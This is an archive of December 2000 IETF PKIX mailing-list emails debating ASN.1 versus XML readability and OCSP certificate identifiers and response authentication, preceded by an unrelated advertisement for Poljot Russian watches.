================================================================ We present you the production of the 1-st Moscow Watch Factory "Poljot" (Flying). From the simple mechanical watch of the series 2609 till unique, composite and precise mechanical o'clock - Marine timer . It is unique factory in Russia, which makes mechanical hours with the Swiss quality. Factory, which makes watches for the Russian Air Forces , Russian Naval Forces. All mechanical watch which we offer to you, will be delivered to you directly from the factory. If it isn't in the warehouse of the factory, we will place your order directly at the 1-st Moscow Watch Factory without any middlemans. The submarine "Kursk" had on board mechanical marine hronometr 6MX. =============================================================== The "table" of orders. Here you can to order, to find, to know almost everything, than the Russia is rich, everything that does not contradict Russian Federation laws. Here you can receive or order: The information about any enterprise, firm, organization, or person in Russia The production or any goods of Russian manufactories, and other things if it is possible. =============================================================== www.rusgoods.com www.rusgoods.ru From owner-ietf-pkix@imc.org Sat Dec 9 12:58:29 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA28901 for ; Sat, 9 Dec 2000 12:58:29 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA19108; Sat, 9 Dec 2000 09:55:06 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Sat, 9 Dec 2000 09:54:46 -0800 Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA19071 for ; Sat, 9 Dec 2000 09:54:45 -0800 (PST) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.10.0/8.10.0) with ESMTP id eB9HmQ316955 for ; Sat, 9 Dec 2000 09:48:26 -0800 (PST) Received: from netscape.com ([205.217.229.174]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id G5BB6A00.P7F; Sat, 9 Dec 2000 09:56:34 -0800 Message-ID: <3A327252.4020309@netscape.com> Date: Sat, 09 Dec 2000 09:56:34 -0800 From: thayes@netscape.com (Terry Hayes) User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; m18) Gecko/20001108 SeaMonkey6/6.0 X-Accept-Language: en MIME-Version: 1.0 To: Anders Rundgren CC: pgut001@cs.auckland.ac.nz, ietf-pkix@imc.org Subject: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility available) References: <97623046120024@kahu.cs.auckland.ac.nz> <003601c061fd$b275ab10$0201a8c0@vincent.se> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Anders Rundgren wrote: > Peter, > > > 2. Referring to the XML vs ASN.1 debate I do not think human-readable is entirely correct > as ASN.1 does not support that. At least when I dissassembled a PKCS #7 > package I could not see tags like Certificate, Subject, Issuer etc. AFAIK (this > is not much when it comes to ASN.1) you have to _know_ in advance what kind of data > structures you are dealing with in order to display such information. And you have to _know_ in advance what the "Certificate", "Subject" and "Issuer" might be representing, how they should be processed, and what they might be useful for. "Human-readable" doesn't help write programs. Terry From owner-ietf-pkix@imc.org Sat Dec 9 15:50:59 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA27003 for ; Sat, 9 Dec 2000 15:50:58 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA21814; Sat, 9 Dec 2000 12:47:43 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Sat, 9 Dec 2000 12:47:33 -0800 Received: from mailb.telia.com (root@mailb.telia.com [194.22.194.6]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA21783 for ; Sat, 9 Dec 2000 12:47:31 -0800 (PST) Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailb.telia.com (8.9.3/8.9.3) with ESMTP id VAA07900; Sat, 9 Dec 2000 21:49:46 +0100 (CET) Received: from mega (t1o69p82.telia.com [62.20.144.82]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB9Knko10671; Sat, 9 Dec 2000 21:49:46 +0100 (CET) Message-ID: <006901c06221$59269f00$0201a8c0@vincent.se> From: "Anders Rundgren" To: "Terry Hayes" , Cc: References: <97623046120024@kahu.cs.auckland.ac.nz> <003601c061fd$b275ab10$0201a8c0@vincent.se> <3A327252.4020309@netscape.com> Subject: Re: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility available) Date: Sat, 9 Dec 2000 21:48:11 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id MAA21784 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 8bit Terry, > > 2. Referring to the XML vs ASN.1 debate I do not think human-readable is entirely correct > > as ASN.1 does not support that. At least when I dissassembled a PKCS #7 > > package I could not see tags like Certificate, Subject, Issuer etc. AFAIK (this > > is not much when it comes to ASN.1) you have to _know_ in advance what kind of data > > structures you are dealing with in order to display such information. > > And you have to _know_ in advance what the "Certificate", "Subject" and > "Issuer" might be representing, how they should be processed, and what > they might be useful for. "Human-readable" doesn't help write programs. Absolutely true, but if the elements represent data that two or more parties have to agree upon, as for purchase orders (or why not ACs?), it helps a bit if the format gives some aid to the debugging process. Debugging was BTW the sole reason for me trying out Peter's Dumpasn1 tool. Using XML I would neither have had to "guess" element usage, nor use a "debugger". Anders From owner-ietf-pkix@imc.org Sat Dec 9 16:36:29 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA07198 for ; Sat, 9 Dec 2000 16:36:28 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id NAA22633; Sat, 9 Dec 2000 13:33:27 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Sat, 9 Dec 2000 13:33:22 -0800 Received: from levitator.1div0.com (node.061.ty.link.si [213.250.43.61]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA22602 for ; Sat, 9 Dec 2000 13:33:13 -0800 (PST) Received: from intergalactic ([10.1.1.2]) by levitator.1div0.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id WAA11231; Sat, 9 Dec 2000 22:19:22 +0100 Reply-To: From: Sender: "denis bider" To: "'Anders Rundgren'" , Subject: EDDF (Was: RE: Semi-annual reminder: dumpasn1 utility available) Date: Sat, 9 Dec 2000 22:37:14 +0100 Message-ID: <004701c06228$330b0cf0$0201010a@intergalactic> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <003601c061fd$b275ab10$0201a8c0@vincent.se> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit > 2. Referring to the XML vs ASN.1 debate I do not think > human-readable is entirely correct as ASN.1 does not > support that. At least when I dissassembled a PKCS #7 > package I could not see tags like Certificate, Subject, > Issuer etc. AFAIK (this is not much when it comes to > ASN.1) you have to _know_ in advance what kind of data > structures you are dealing with in order to display > such information. And by the way - I recently posted an EDDF announcement that received much more attention in sci.crypt than it did here, although it is the people in this group that it was primarily aimed at. EDDF is an ASN.1-based data format that does exactly what you say ASN.1 doesn't do on its own: it provides some inherent sense for ASN.1 structures in a manner very similar to XML. Of course, it is also technically much more sound than XML. ;-) If anyone is interested, I can compile a FAQ based on the recent discussion in sci.crypt and post it here. Regards, denis // // KEEP REAL CRYPTO, SAVE REAL MONEY // globera offers support for Crypto++, as well as // professional consulting and integration services // for practical applications of cryptography. Thanks to our location, we can offer quality services at compellingly reasonable rates. http://www.globera.com/services From owner-ietf-pkix@imc.org Sat Dec 9 17:17:03 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA15834 for ; Sat, 9 Dec 2000 17:17:03 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA23313; Sat, 9 Dec 2000 14:13:58 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Sat, 9 Dec 2000 14:13:49 -0800 Received: from femail6.sdc1.sfba.home.com (femail6.sdc1.sfba.home.com [24.0.95.86]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA23282 for ; Sat, 9 Dec 2000 14:13:48 -0800 (PST) Received: from C70777A ([24.15.87.228]) by femail6.sdc1.sfba.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20001209221611.WIUX24833.femail6.sdc1.sfba.home.com@C70777A>; Sat, 9 Dec 2000 14:16:11 -0800 Message-ID: <03cb01c0622d$c0d1d000$e4570f18@plstn1.sfba.home.com> From: "Khaja E. Ahmed" To: "Terry Hayes" , "Anders Rundgren" Cc: , References: <97623046120024@kahu.cs.auckland.ac.nz> <003601c061fd$b275ab10$0201a8c0@vincent.se> <3A327252.4020309@netscape.com> Subject: Re: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility available) Date: Sat, 9 Dec 2000 14:17:01 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit I think what we are talking about here is the degree of readability or ease of readability rather than just readability as a binary value. I suspect there are more people who "know in advance" what a "certificate" or a "subject" is than can recognize an OID representing these attributes. I suspect it can be agreed that "human readability" is not a binary value but a continuum. ASN.1 and XML are, it is being argued, at different spots on this continuum. XML is _more_ human readable than ASN.1. Recognizing the highly subjective / non-quantifiable nature of such assertions, it may be stated that: 1.) One needs to "know more" in order to read and understand ASN.1 encoded information than would be necessary to read and understand the same information encoded in XML. 2.) It takes less time to become proficient in XML than it does in ASN.1 At least that is what some people seen to believe. Khaja ----- Original Message ----- From: "Terry Hayes" To: "Anders Rundgren" Cc: ; Sent: Saturday, December 09, 2000 9:56 AM Subject: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility available) > Anders Rundgren wrote: > > > Peter, > > > > > > 2. Referring to the XML vs ASN.1 debate I do not think human-readable is entirely correct > > as ASN.1 does not support that. At least when I dissassembled a PKCS #7 > > package I could not see tags like Certificate, Subject, Issuer etc. AFAIK (this > > is not much when it comes to ASN.1) you have to _know_ in advance what kind of data > > structures you are dealing with in order to display such information. > > And you have to _know_ in advance what the "Certificate", "Subject" and > "Issuer" might be representing, how they should be processed, and what > they might be useful for. "Human-readable" doesn't help write programs. > > Terry > > From owner-ietf-pkix@imc.org Sat Dec 9 20:19:49 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA27455 for ; Sat, 9 Dec 2000 20:19:49 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id RAA26966; Sat, 9 Dec 2000 17:16:31 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Sat, 9 Dec 2000 17:16:20 -0800 Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id RAA26933 for ; Sat, 9 Dec 2000 17:16:18 -0800 (PST) Received: from asn-1.com (user-2ivf6bc.dialup.mindspring.com [165.247.153.108]) by granger.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id UAA04831 for ; Sat, 9 Dec 2000 20:18:40 -0500 (EST) Message-ID: <3A32DAA2.18C7D570@asn-1.com> Date: Sat, 09 Dec 2000 20:21:38 -0500 From: "Phillip H. Griffin" Reply-To: phil.griffin@asn-1.com Organization: Griffin Consulting X-Mailer: Mozilla 4.61 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: pkix list Subject: Re: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility available) References: <97623046120024@kahu.cs.auckland.ac.nz> <003601c061fd$b275ab10$0201a8c0@vincent.se> <3A327252.4020309@netscape.com> <006901c06221$59269f00$0201a8c0@vincent.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Anders Rundgren wrote (in part): snip > Using XML I would neither have had to "guess" element > usage, nor use a "debugger". Really? Consider the ASN.1 value concord INTEGER ::= 3 which could be transferred directly as text or DER encoded into the binary value 0x020103. What does representing this value using XML mark up such as 3 tell you? Do I mean a how I rate a city, a quantity of grapes, or that the treaty is behind door number number three? I agree of course that the mark up format may be easier for programmers who lack tools or reasonable skills and training to debug. But consider actual usage. I may debug this message for a short while during a program development period, then deploy the program and transfer this message billions of times with no human intervention. Why would I wish to transfer 22 bytes of information instead of three? What advantage does transferring 19 extra bytes give my application? Once deployed, will it matter to the performance of the program whether or not this message can be easily read by a human? If a client should receive a broken message from my program, will the users lot be improved if they can correct the broken message with NotePad? Phil From owner-ietf-pkix@imc.org Sun Dec 10 04:08:47 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA23315 for ; Sun, 10 Dec 2000 04:08:47 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id BAA09070; Sun, 10 Dec 2000 01:05:35 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Sun, 10 Dec 2000 01:04:45 -0800 Received: from mailf.telia.com (root@mailf.telia.com [194.22.194.25]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id BAA08874 for ; Sun, 10 Dec 2000 01:04:43 -0800 (PST) Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailf.telia.com (8.9.3/8.9.3) with ESMTP id KAA19367; Sun, 10 Dec 2000 10:07:06 +0100 (CET) Received: from mega (t2o69p111.telia.com [62.20.144.231]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eBA975o05801; Sun, 10 Dec 2000 10:07:05 +0100 (CET) Message-ID: <001301c06288$5d186cd0$0201a8c0@vincent.se> From: "Anders Rundgren" To: , "pkix list" References: <97623046120024@kahu.cs.auckland.ac.nz> <003601c061fd$b275ab10$0201a8c0@vincent.se> <3A327252.4020309@netscape.com> <006901c06221$59269f00$0201a8c0@vincent.se> <3A32DAA2.18C7D570@asn-1.com> Subject: Re: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility available) Date: Sun, 10 Dec 2000 10:05:36 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id BAA08879 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 8bit Phil, > > Using XML I would neither have had to "guess" element > > usage, nor use a "debugger". > > Really? Consider the ASN.1 value > > concord INTEGER ::= 3 > > which could be transferred directly as text or DER > encoded into the binary value 0x020103. > > What does representing this value using XML mark > up such as > > 3 > > tell you? > > Do I mean a how I rate a city, a quantity of grapes, > or that the treaty is behind door number number three? I don't think that XML will solve all information problems, but if you get a whole bunch of data like in the PKCS #7 blob I reffered to and you would like to cross-check that with the specification (which was exactly what I tried to do), XML-based data would be much simpler. > I agree of course that the mark up format may be easier > for programmers who lack tools or reasonable skills and > training to debug. But consider actual usage. This is both right and wrong. If we consider things that for a lot of reasons must be identically interpreted by a LARGE audience like the X509 certificate, any coding scheme would do, ASN.1 included. What sparked my interest in XML in conjunction with PKI was things like the AC which IMO (but not in everyones opinion), could proliferate in completely local attribute schemes as well as international or application-specific schemes. These schemes will have practically nothing but the header in common. They may also change content frequently (i.e. there will be versioning of attribute data). If that really becomes the case, ASN.1 would be a bad choice. But as you probably have noted the AC already has contenders like S2ML so I don't think we will see that much AC implementations. Being in the computer business since 20 years I see program/format/message incompatibilities becoming more and more the #1 problem/plauge. The upgrading processes costs zillions of dollars each year. ASN.1 does not address this problem properly. > I may debug this message for a short while during a > program development period, then deploy the program > and transfer this message billions of times with no > human intervention. For stable structures this is 100% true. But is the world stable? > Why would I wish to transfer 22 bytes of information > instead of three? Certainly not. See answer above. > What advantage does transferring 19 extra bytes give > my application? Nothing of course! > If a client should receive a broken message from my > program, will the users lot be improved if they can > correct the broken message with NotePad? OK, I actually don't believe (hope at least!) that this is how XML incompatibilities will be handled. The XML schema thing gives you a useful versioning capability that at least will make it 100% clear if you are digesting the right stuff or not. At least a starter although not a cure. I don't believe there is a cure for message incompatibilities. Some XML proponents do. They are obviously selling something they cannot deliver! Anders From owner-ietf-pkix@imc.org Mon Dec 11 08:09:46 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA16009 for ; Mon, 11 Dec 2000 08:09:45 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA22963; Mon, 11 Dec 2000 05:05:35 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Mon, 11 Dec 2000 05:04:03 -0800 Received: from aspams52.ca.com (aspams52.cai.com [155.35.248.76]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA22874 for ; Mon, 11 Dec 2000 05:04:00 -0800 (PST) Received: by aspams52.ca.com with Internet Mail Service (5.5.2650.21) id ; Mon, 11 Dec 2000 23:49:24 +1100 Message-ID: <6B33416BC4BBD411BCA6009027D0D18C645695@aspams01.ca.com> From: "Grant, Alistair" To: ietf-pkix@imc.org Cc: Michael Myers , Ambarish Malpani , Simon Tardell Subject: RE: OCSP identifiers Date: Mon, 11 Dec 2000 23:49:24 +1100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Hi Mike, Would you please provide a summary of why multiple certificate identifier formats are required in OCSPv2, overall and for each proposed identifier. In particular using CertHash seems problematic as it forces the responder to provide additional indexes for looking up certificates. Without sufficient justification (which I have not yet seen), I would add my voice to those opposing the additional identifiers (Simon Tardell, Ambarish Malpani, etc). Simon Tardell's suggestion of keeping the current CertId and adding an extension to check issuance seems like a better alternative. As Simon has said, a zero length Issuer Key Hash removes the need for the CA certificate. In combination with Simon's extension the client can still be confident that the correct certificate is being identified. The wording for good/revoked/unknown discussion, as raised by Ambarish, does not seem to have been closed. Cheers, Alistair Grant E-Mail: Alistair.Grant@ca.com Phone: +61 3 9825 5692 Mobile: +61 408 565 080 -----Original Message----- From: Michael Myers [mailto:MMyers@verisign.com] Sent: Thursday, November 30, 2000 5:34 AM To: Stephen Kent Cc: ietf-pkix@imc.org Subject: RE: OCSP identifiers Steve, It's our objective to amend RFC 2560's certID syntax while preserving all that RFC 2560 has established. I have always presumed this would lead to a new RFC number. We're doing so in order to address known needs to expand the means by which certificates can be identified in the OCSP bit stream. Alternatively, we could editorially amend RFC 2560 and so move it from proposed to draft. As briefed in Pittsburg however, many of us believe it's best to take the former course of action. To that end, the v2 certID syntax is amendend in a fashion that enables v1 interoperability. Further, both OCSPv2 servers and clients are required to be capable of backwards interoperablity with their v1 peers. There's no need to deprecate the use of v1 if the original certID syntax satisfies local requirements. It's only when environments wish to, say, use CMS's IssuerandSerialNumber vs. original certID that use of the v2 version number in the bit stream is required. Other than that, it's precisely the same protocol, simply amended to enable its use in other contexts. Hope that clarifies things. Mike From owner-ietf-pkix@imc.org Mon Dec 11 11:17:54 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA14656 for ; Mon, 11 Dec 2000 11:17:53 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA27528; Mon, 11 Dec 2000 08:13:22 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Mon, 11 Dec 2000 08:13:09 -0800 Received: from extapps03.intra.dmz ([194.200.144.248]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA27492 for ; Mon, 11 Dec 2000 08:13:07 -0800 (PST) From: Jonathan.Tuliani@symbian.com Received: from SymbianUK05.Symbian.com (unverified) by extapps03.intra.dmz (Content Technologies SMTPRS 4.1.5) with ESMTP id for ; Mon, 11 Dec 2000 16:13:19 +0000 Received: from symbianuk20.symbian.com ([10.170.2.25]) by SymbianUK05.Symbian.com (Lotus Domino Release 5.0.1b (Intl)) with ESMTP id 2000121116141810:20139 ; Mon, 11 Dec 2000 16:14:18 +0000 Subject: OCSP response authentication question To: ietf-pkix@imc.org X-Mailer: Lotus Notes Release 5.0.2c (Intl) 2 February 2000 Message-ID: Date: Mon, 11 Dec 2000 16:14:09 +0000 X-Priority: 3 (Normal) MIME-Version: 1.0 X-MIMETrack: Serialize by Router on SymbianUK20/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 12/11/2000 04:14:09 PM, Itemize by SMTP Server on SymbianUK05/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 11/12/2000 04:14:18 PM, Serialize by Router on SymbianUK05/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 11/12/2000 04:14:18 PM, Serialize complete at 11/12/2000 04:14:18 PM Content-type: text/plain; charset=us-ascii Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Deal all, We've been having a little trouble understanding how we should be planning to authenticate our OCSP responses in the case where there is more than one certificate from more than one issuer. If anyone can help to shed some light on this issue, we should be most grateful. Details follow. We're using the June 1999 edition of the OCSP spec, btw. Suppose that a client wished to authenticate more than one certificate. For example, suppose the client has a chain of certificates: to validate the chain requires each certificate to be revocation checked. It is possible to bundle all of these certificates into a single OCSP request. Similarly, the OCSP response should be able to give us the status for each certificate. Our problem arises when trying to authenticate this response. It is reasonable to suppose that the certificates in the request could have been issued by a variety of different bodies. Indeed, this is likely to be so in the common usage scenario of validating a certificate chain. However, notice that the OCSP response has only a single signature. This being the case, there is no way we can employ rules 2 or 3 under section 4.2.2.2 of the OCSP spec - these specify that the response be signed either directly by the certificate issuing CA, or contain an extendedKeyUsage extension issued directly by the issuing CA. This leaves rule 1, that is that the response match a locally configured trusted responder. Now suppose additionally that the OCSP server in question is operating in the mode described in section 4.4.6 of the spec. That is, information is taken from AuthorityInfoAccess extensions in the certificates to form serviceLocator extensions, which are placed into the request as singleRequestExtensions. The OCSP server uses these extensions to direct the request to other servers known to be authoritative for the certificate in question. In our scenario, these serviceLocator extensions will be specifying several different authoritative servers. We suppose then that the original OCSP server must collate and authenticate these responses, before compiling a single response valid for all certificates, which it then signs and sends to the client. We would be grateful if someone more familiar with the OCSP spec could confirm that what I have described is indeed a valid intended usage scenario. In particular, we are concerned about the authentication of the multiple responses that the OCSP server must perform before producing the collated response. Is it correct for the client to trust the server with this task? Best regards, and thanks in advance, Jonathan ----------------------------- Jonathan.Tuliani@Symbian.com www.symbian.com From owner-ietf-pkix@imc.org Mon Dec 11 11:24:05 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA16008 for ; Mon, 11 Dec 2000 11:24:04 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA27909; Mon, 11 Dec 2000 08:20:46 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Mon, 11 Dec 2000 08:20:43 -0800 Received: from qmail.arl.qwestip.net (qmail.qwestip.net [205.171.7.14]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA27876 for ; Mon, 11 Dec 2000 08:20:42 -0800 (PST) Received: (qmail 21371 invoked from network); 11 Dec 2000 16:18:16 -0000 Received: from ns.klerer.net (HELO dell450nt) ([63.146.136.63]) (envelope-sender ) by mail.qwestisp.net (qmail-ldap-1.03) with SMTP for ; 11 Dec 2000 16:18:16 -0000 Message-ID: <003801c0638e$c021cb80$070a0a0a@klerer.net> From: "Robert Klerer" To: Subject: Re: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility available) Date: Mon, 11 Dec 2000 11:23:52 -0500 Organization: Crosshair Communications Corporation MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit But this is where the argument for efficiency breaks. The relaying party for the PKI is often a human being not always a computer program. Often when my browser (or email client) asks me if I want to trust a certificate, I have a hard time finding my trusty ASN.1 decoder ring in that limited dialog box. I certainly cannot trust the browser to do it, since they can not even display the subject name in a consistent way. If I could read the certificate source itself, I could resolve whatever suspicion I have to the validity of the information and let my software validate the cryptographic validity of the signature. From: "Phillip H. Griffin" > > > Anders Rundgren wrote (in part): > > snip > > > Using XML I would neither have had to "guess" element > > usage, nor use a "debugger". > > Really? Consider the ASN.1 value > > concord INTEGER ::= 3 > > which could be transferred directly as text or DER > encoded into the binary value 0x020103. > > What does representing this value using XML mark > up such as > > 3 > > tell you? > > Do I mean a how I rate a city, a quantity of grapes, > or that the treaty is behind door number number three? > > I agree of course that the mark up format may be easier > for programmers who lack tools or reasonable skills and > training to debug. But consider actual usage. > > I may debug this message for a short while during a > program development period, then deploy the program > and transfer this message billions of times with no > human intervention. > > Why would I wish to transfer 22 bytes of information > instead of three? > > What advantage does transferring 19 extra bytes give > my application? > > Once deployed, will it matter to the performance of > the program whether or not this message can be easily > read by a human? > > If a client should receive a broken message from my > program, will the users lot be improved if they can > correct the broken message with NotePad? > > Phil > From owner-ietf-pkix@imc.org Mon Dec 11 11:34:09 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA18273 for ; Mon, 11 Dec 2000 11:34:09 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA28452; Mon, 11 Dec 2000 08:30:49 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Mon, 11 Dec 2000 08:30:44 -0800 Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA28421 for ; Mon, 11 Dec 2000 08:30:43 -0800 (PST) Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <0G5E00301WN8KU@ext-mail.valicert.com> for ietf-pkix@imc.org; Mon, 11 Dec 2000 08:33:08 -0800 (PST) Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <0G5E002DOWN8IL@ext-mail.valicert.com>; Mon, 11 Dec 2000 08:33:08 -0800 (PST) Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id ; Mon, 11 Dec 2000 08:30:12 -0800 Content-return: allowed Date: Mon, 11 Dec 2000 08:30:11 -0800 From: Ambarish Malpani Subject: RE: OCSP response authentication question To: "'Jonathan.Tuliani@symbian.com'" , ietf-pkix@imc.org Message-id: <613B3C619C9AD4118C4E00B0D03E7C3E6EBC87@exchange.valicert.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Hi Jonathan, The usage that you desire is quite correct and being used by others. It is perfectly reasonable to trust a single server and to send it queries for the status of multiple certificates. If the server is appropriately configured, it can go out to find the statuses of all the certificates you are interested in and provide you with a consolidated response signed with a key that you trust (using direct trust). If multiple CAs are willing to trust a single responder to provide responses on their behalf, it is also possible for a single responder to have multiple OCSP signing certificates issued by multiple CAs. In this case, it is possible for you to get a single response, signed by a single responder, but with multiple certificates, indicating that the responder is authorized by multiple CAs. There is also a third possibility, where the client just queries all the OCSP responders directly. Hope this helps, Regards, Ambarish --------------------------------------------------------------------- Ambarish Malpani Architect 650.567.5457 ValiCert, Inc. ambarish@valicert.com 339 